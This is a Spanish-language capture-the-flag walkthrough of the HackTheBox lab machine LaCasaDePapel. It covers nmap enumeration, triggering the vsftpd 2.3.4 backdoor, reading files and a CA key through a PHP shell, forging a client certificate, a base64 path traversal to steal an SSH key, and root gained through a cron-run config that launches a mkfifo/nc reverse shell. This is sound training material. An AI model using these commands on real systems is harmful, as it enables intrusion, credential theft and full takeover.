HTB_LaCasaDePapel
La Casa de Papel {-}
Introduccion {-}
La maquina del dia se llama LaCasaDePapel.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.131
ttl: 63 -> maquina Linux
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.131
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.131 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p21,22,80,443 10.10.10.131 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
21 | ftp | anonymous | |
22 | ssh | Coneccion directa | |
80 | http | Web Fuzzing | |
443 | https | Web Fuzzing |
Ya aqui podemos ver en el commonName del certificado ssl lacasadepapel.htb
que añadimos al /etc/hosts
Coneccion Anonoymous con ftp {-}
ftp 10.10.10.131
Name: anonymous
Password:
530 Login incorrect.
No nos podemos conectar con el usuario anonymous, Pero podemos ver que el servicio es un vsFTPd 2.3.4 que ya sabemos que existe un exploit
searchsploit vsftpd 2.3.4
#Output
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.131
No vemos nada interesante aqui.
Checkear la web {-}
Si entramos en la url http://10.10.10.131
, El wappalizer no nos muestra nada. Si entramos con el dominio http://lacasadepapel.htb
vemos lo mismo.
Intentamos por https https://lacasadepapel.htb
y aqui la cosa cambia. Tenemos un mensaje que dice que tenemos que proporcionar un certificado cliente
para ver mas cosas. Pero aqui necessitamos tener mas informaciones.
Vulnerability Assessment {-}
vsftpd 2.3.4 {-}
Como ya sabemos que esta version es vulnerable, buscando por internet o analyzando el exploit de Metasploit vemos que la vulnerabilidad
reside en poner una sonrisita :)
al final del nombre de usuario y esto hace que se habre el puerto 6200 de la maquina.
nc 10.10.10.131 6200
#Output
Ncat: Connection refused.
telnet 10.10.10.131 21
USER s4vitar:)
PASS setenso
se queda bloqueado, podemos cerrar la ventana y con nc intentamos nuevamente la coneccion al puerto 6200.
nc 10.10.10.131 6200
Intentamos enviar commandos
whoami
#Error PHP Warning: Use of undefined constant whoami - assumed 'whoami' (this will throw an Error in a future version of PHP)
Intentamos commandos PHP
exec("whoami")
#error
shell_exec("whoami")
#error
passthru("whoami")
#error
system("whoami")
#error
help
#Output
help
ls
dump
doc
show
wtf
...
Vemos cosas intentamos con ls ver las variables classes funcciones y mas
ls
#Output
$tokyo
Miramos el contenido con show
show $tokyo
#output
class Tokyo {
private function sign($caCert, $userCsr){
...
}
}
Aqui vemos la class Tokyo con su funccion private. Podemos ver que en el directorio /home/nairobi/ca.key
hay una key. Como este servicio
esta en php, miramos si podemos listar contenido de ficheros con las fucciones php file_get_contents()
, scandir()
o readfile()
file_get_contents("/etc/passwd")
Y podemos ver el /etc/passwd
, miramos si podemos ver la key del usuario nairobi.
miramos si encontramos id_rsa
scandir("/")
scandir("/home")
scandir("/home/berlin/.ssh")
scandir("/home/nairobi/.ssh")
scandir("/home/oslo/.ssh")
scandir("/home/dali/.ssh")
scandir("/home/professor/.ssh")
No encontramos nada. Miramos el contenido del fichero key.
readfile("/home/nairobi/ca.key")
Ahora que tenemos la key podemos crear un certificado de cliente valido.
Creamos un certificado de cliente valido {-}
-
Tenemos que recuperar el certificado del servidor
openssl s_client -connect 10.10.10.131:443 openssl s_client -connect 10.10.10.131:443 | openssl x509 openssl s_client -connect 10.10.10.131:443 | openssl x509 > ca.cer
-
Copiamos el contenido del ca.key en un fichero ca.key
- Aqui tenemos 2 ficheros el ca.key y el ca.cer
-
Con openssl creamos un private key
openssl genrsa -out client.key 4096
-
Creamos un .req
openssl req -new -key client.key -out client.req
en commonName ponemos lacasadepapel.htb en el resto le damos al enter.
-
Firmamos el certificado
openssl x509 -req -in client.req -set_serial 123 -CA ca.cer -CAkey ca.key -days 365 -extensions client -outform PEM -out client.cer
Aqui ya tenemos un certificado cliente valido. Pero ahora tenemos que convertirlo en un
.p12
para que los navegadores los accepten. -
Conversion en certificado pkcs12 para navegadores
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12 chmod 777 client.p12
Aqui ya podemos añadir a firefox el certificado firmado. En firefox vamos a ajustes
y buscamos por cert
. Damos a Ver certificado
y en el menu Sus certificados
le podemos dar a importar
. Importamos el client.p12
y le damos a acceptar.
Si recargamos la pagina https://lacasadepapel.htb
y acceptamos el certificado, ya podemos ver que el contenido a cambiado y un private arena es visible.
Pathtraversal con base64 {-}
Aqui vemos dos Seasons y si le damos a una vemos unos ficheros .avi
y haciendo hovering bemos que los nombres son en base64. Lo comprobamos con un fichero.
echo 'U0VBU09OLTEvMDMuYXZp' | base64 -d;echo
#Output
SEASON-1/03.avi
En la url vemos que tenemos algo como https://lacasadepapel.htb/?path=SEASON-1
. Miramos lo que pasa si le damos a https://lacasadepapel.htb/?path=/etc/passwd
y
salta un error como no existe el path en /home/berlin/download//etc/passwd
y que usa la funccion scandir para esto. Ya pensamos en un path traversal, pero como es
un scandir solo podemos ir a por directorios.
https://lacasadepapel.htb/?path=../
aqui vemos el user.txt.
echo -n '../user.txt' | base64
#Output
Li4vdXNlci50eHQ=
y si vamos ahora a la url https://lacasadepapel.htb/file/Li4vdXNlci50eHQ=
vemos que podemos descargar el user.txt. Pero a nosotros nos interessa ganar accesso
al systema.
En la url https://lacasadepapel.htb/?path=../
vemos que podemos pinchar al directorio .ssh
y a dentro hay una id_rsa
. Hacemos lo mismos que con el user.txt
Vuln exploit & Gaining Access {-}
SSH {-}
echo -n '../.ssh/id_rsa' | base64
#Output
Li4vLnNzaC9pZF9yc2E=
y con la url https://lacasadepapel.htb/file/Li4vLnNzaC9pZF9yc2E=
descargamos el fichero id_rsa.
mv /home/s4vitar/Descargas/firefox/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa berlin@10.10.10.131
como no va intentamos con los otros usuarios.
ssh -i id_rsa berlin@10.10.10.131
ssh -i id_rsa dali@10.10.10.131
ssh -i id_rsa nairobi@10.10.10.131
ssh -i id_rsa oslo@10.10.10.131
ssh -i id_rsa professor@10.10.10.131
Hemos ganado accesso al systema como el usuario professor.
Privilege Escalation {-}
Rootear la maquina {-}
whoami
ls
pwd
find / -name user.txt
cd /home/berlin/user.txt
Aqui vemos que el user.txt solo se puede ver desde la web.
uname -a
lsb_release
cat /etc/os-release
id
sudo -l
cd /
find \-perm -4000 2>/dev/null
aqui vemos binarios SUID. comprobamos con gtfobins si se pueden burlar.
buscamos por bbsuid, abuild-sudo sudo pero no encontramos nada. Tenemos que mirar de CRON. Lo miramos con pspy.
git clone https://github.com/DominicBreuker/pspy
cd pspy
go build -ldflags "-s -w" main.go
upx main
mv main pspy
python3 -m http.server 80
Desde la maquina victima, downloadeamos el fichero y lo lanzamos
wget http://10.10.14.8/pspy
chmod +x pspy
./pspy
Podemos ver que hay una tarea ejecutada por root que lanza un sudo -u nobody /usr/bin/node /home/professor/memcached.js
Si vamos al /home/professor
vemos el fichero memcached.js
pero no nos deja ver lo que hay dentro. Hay otro fichero memcached.ini
que contiene
el comando ejecutado durante la tarea cron.
Aqui el truco es que aun que el fichero no se puedo modificar, como esta en nuestra carpeta HOME, lo podemos borrar.
rm memcached.ini
vi memcached.ini
[program:memcached]
command = sudo -u root /tmp/pwn.sh
aqui creamos el pwn.sh
cd /tmp
touch pwn.sh
chmod +x pwn.sh
vi pwn.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.80 443 >/tmp/f
nos ponemos en escucha por el puerto 443
nc -nlvp 443
Esperamos un poco y ganamos acceso al systema como root y podemos leer la flag.